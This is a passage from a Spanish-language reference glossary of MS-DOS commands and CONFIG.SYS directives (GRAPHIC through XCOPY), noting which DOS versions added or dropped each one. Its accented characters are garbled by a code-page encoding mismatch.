GRAPHIC - Carga una secuencia que permite la impresi¢n de la pantalla que incluye caracteres gr ficos, de c¢digos 128 a 255.

GWBASIC - Llamado del antiguo Basic avanzado de Microsoft. No existe m s en el DOS 6, en el cual ha sido reemplazado por el QBasic.

Sigue...

 

HELP - Pedido de ayuda. Desde el DOS 5. HIMEM.SYS - Administrador de memoria extendida.

IF - Comando de ejecuci¢n condicional para archivo .BAT.

INCLUDE - Incluye un bloque de configuraci¢n en otro, a trav?s del Config.Sys. Nuevo comando con el DOS 6.

INTERLNK - Conecta dos computadoras, por medio de sus puertos paralelos o en serie. Nuevo comando del DOS 6.

INTERLNK.EXE - Administrador para Interlnk. Novedad del DOS versi¢n 6.

INTERSVR - Lanza el centro de recuperaci¢n de datos InterLnk. Nuevo comando del DOS 6.

JOIN - Asigna el contenido de un disco a un directorio de otro disco. No existe m s en el DOS 6.

Page 75: Batch

KEYB - Carga el programa que administra el teclado (reemplaza al que reside en la memoria muerta, para el teclado USA).

LABEL - Crea, modifica o suprime el nombre atribuido a un disco.

LASTDRIVE - Define la cantidad de unidades de disco en el Config.Sys.

LH - Carga un programa en la memoria superior, generalmente en el Autoexec.bat. Otro nombre: LOADHIGH.

LINK - Llama al editor de conexiones.

LOADFIX - Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta. Nuevo comando del DOS 6.

LOADHIGH - Carga un programa en la memoria superior, generalmente a trav?s del Autoexec.bat. Desde el DOS 5. Otro nombre: LH.

MACROS - Realizaci¢n de macros con Doskey.

MEM - Muestra en pantalla la memoria ocupada y la disponible.

MEMMAKER - Administraci¢n y optimizaci¢n de la memoria, pero con los DOS 6. ú

MENUCOLOR - Determina el color del texto y del fondo para el primer men£, a trav?s del Config.Sys. A partir del DOS 6.

MENUDEFAULT - Especifica el men£ por defecto, en el inicio. A partir del DOS 6.

MENUITEM - A partir del DOS 6. Define un ¡tem del men£ de arranque.

MIRROR - Copia de seguridad para el seguimiento del borrado de archivos. Con el DOS 5.

MKDIR - Crea un subdirectorio. Otro nombre de este comando: MD, por "Make Directory", creaci¢n de un directorio.

MODE - Establece las condiciones de funcionamiento de los perif?ricos, impresora, interface de video y conexiones en serie, y tambi?n sirve para la preparaci¢n de las tablas de c¢digos.

MORE - Para visualizar p gina por p gina en la pantalla (es decir, sin que desfilen ininterrumpidamente en la pantalla)

MOVE - Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. Nuevo comando con el DOS 6.

MSAV - Programa antivirus. A partir del DOS 6.

MSBACKUP - Nuevo procedimiento de copia de seguridad, a partir del DOS 6.

MSD - Provee informaci¢n t?cnica sobre su computadora. A partir del DOS 6.

Page 76: Batch

NLSFUNC - Comando relativo a los idiomas nacionales. Su nombre proviene de "National Languages Support Function". Da informaciones complementarias sobre los pa¡ses y prepara el uso de las tablas de c¢digos con CHCP

NUMLOCK - Determina que la secci¢n num?rica del teclado est? bloqueada o no, a trav?s del Config.Sys. Nuevo comando a partir del DOS 6.

PATH - Especifiica caminos de b£squeda alternativos para los archivos de comando (con la extensi¢n .COM, o .EXE o .BAT) que no se encuentran en el directorio actiðvo. Este comando se encuentra generalmente en el archivo Autoexec.bat.

PAUSE - Suspende la ejecuci¢n de un programa .BAT mostrando en pantalla un mensaje optativo de 121 caracteres como m ximo.

POWER - Pone en servicio o saca de servicio la administraci¢n del consumo de energ¡a. Nuevo comando a partir del DOS 6.

POWER.EXE - Administrador de POWER. Nuevo, a partir del DOS 6.

PRINT - Imprime el contenido de archivos, en segundo plano, mientras se prosigue con un trabajo en la pantalla.

PRINTER.SYS - Se utiliza para conmutar las tablas de c¢digos con las impresoras, a trav?s del Config.Sys.

PROMPT - Define o muestra en pantalla los s¡mbolos del sistema utilizados por el DOS.

QBASIC - Es el nuevo lenguaje Basic de Microsoft. A partir del DOS 5.

RAMDRIVE - Instala un disco virtual, a trav?s del Config.Sys.

RD - Suprime un subdirectorio que debe estar obligatoriamente vac¡o (y que, por lo tanto, s¢lo debe contener las marcas . y ..). El nombre completo de este comando es RMDIR.

RECOVER - Interviene cuando hay que recuperar los datos de un archivo porque hay un sector defectuoso en el disco. Los datos de este sector se habr n perdido. No existe m s en el DOS 6.

REM - Introduce observaciones, comentarios, en 123 caracteres como m ximo por l¡nea de REM.

REN - Cambia el nombre de un archivo.

RENAME - Cambia el nombre de un archivo. Es lo mismo que REN, pero m s larðgo de escribir.

REPLACE - Reemplaza o agrega selectivamente archivos que provienen de un disðco fuente a un disco destinatario.

RESTORE - Restaura, restablece el contenido de un disco a

Page 77: Batch

partir de su copia de seguridad anterior, con los DOS hasta el 5 inclusive. En el DOS 6, s¢lo existe para la compatibilidad.

RMDIR - Suprime un subdirectorio que debe estar obligatoriamente vac¡o (y que, por lo tanto, s¢lo debe contener las marcas . y ..). El nombre abreviado es RD.

SET - Sirve para definir el entorno de trabajo que requieren algunos programas, introduciendo un nombre seguido de su equivalencia.

SETVER - Declara las versiones del DOS para algunas aplicaciones.

SETVER.EXE - Administrador de SETVER.

SHARE - Instala el programa para compartir archivos.

SHELL - Instala un procesador de comandos.

SHIFT - Sirve para utilizar m s de 10 par metros reemplazables numerados de 0 a 9, en las l¡neas de comando, marcando una diferencia de una posici¢n para cada SHIFT que se introduce.

SHIPDISK - Bloquea los cabezales del disco duro antes de desplazarlo. Desapareci¢ en el DOS 6.

SIZER.EXE - Utilizado por el programa de optimizaci¢n de la memoria MemMaker Novedad del DOS 6.

SMARTDRV - Creaci¢n de la antememoria de disco SmartDrive.

SMARTDRV.EXE - Administrador de SmartDrv.

SMARTMON - Programa de monitoreo (de vigilancia) de SmartDrive.

SORT - Ordena datos.

STACKS - Define las pilas, a trav?s del Config.Sys.

SUBMENU - Define un ¡tem del men£ de arranque abriendo un submen£. Nuevo comando del DOS 6.

SUBST - Sustituye un camino de acceso cuya descripci¢n es larga, y/o su unidad, por una unidad de disco ficticia que bastar con llamar luego.

SWITCHES - Sustituye el teclado extendido por el teclado convencional.

SYS - Copia los tres archivos que sirven de n£cleo al sistema del disco fuente activo al disco destinatario.

TEMP - Variable de entorno.

TIME - Muestra en pantalla o configura la hora del sistema (incluidos los relojes permanentes, resguardados).

Page 78: Batch

TREE - Muestra los rboles de los directorios de un disco (y la lista de sus archivos con una clave suplementaria).

TYPE - Muestra en pantalla el contenido de un archivo.

UNDELETE - Recuperaci¢n de archivos borrados. A partir de la versi¢n DOS 5.

UNFORMAT - Reconstrucci¢n de un disco reformateado. A partir del DOS 5.

VDISK - Instala un disco virtual, a trav?s del Config.Sys. Dej¢ de estar incluido a partir del DOS 6.

VER - Muestra en pantalla la versi¢n activa del DOS.

VERIFY - Pone en servicio (con ON) o anula (con OFF) la verificaci¢n de los datos escritos en el disco.

VOL - Muestra en pantalla el nombre del disco solicitado. VSAFE - Residente antivirus.

XCOPY - Copia archivos selectivamente, inclusive los que provienen de subdirectorios. Es un comando excelente que puede servir incluso para efectuar copias de seguridad.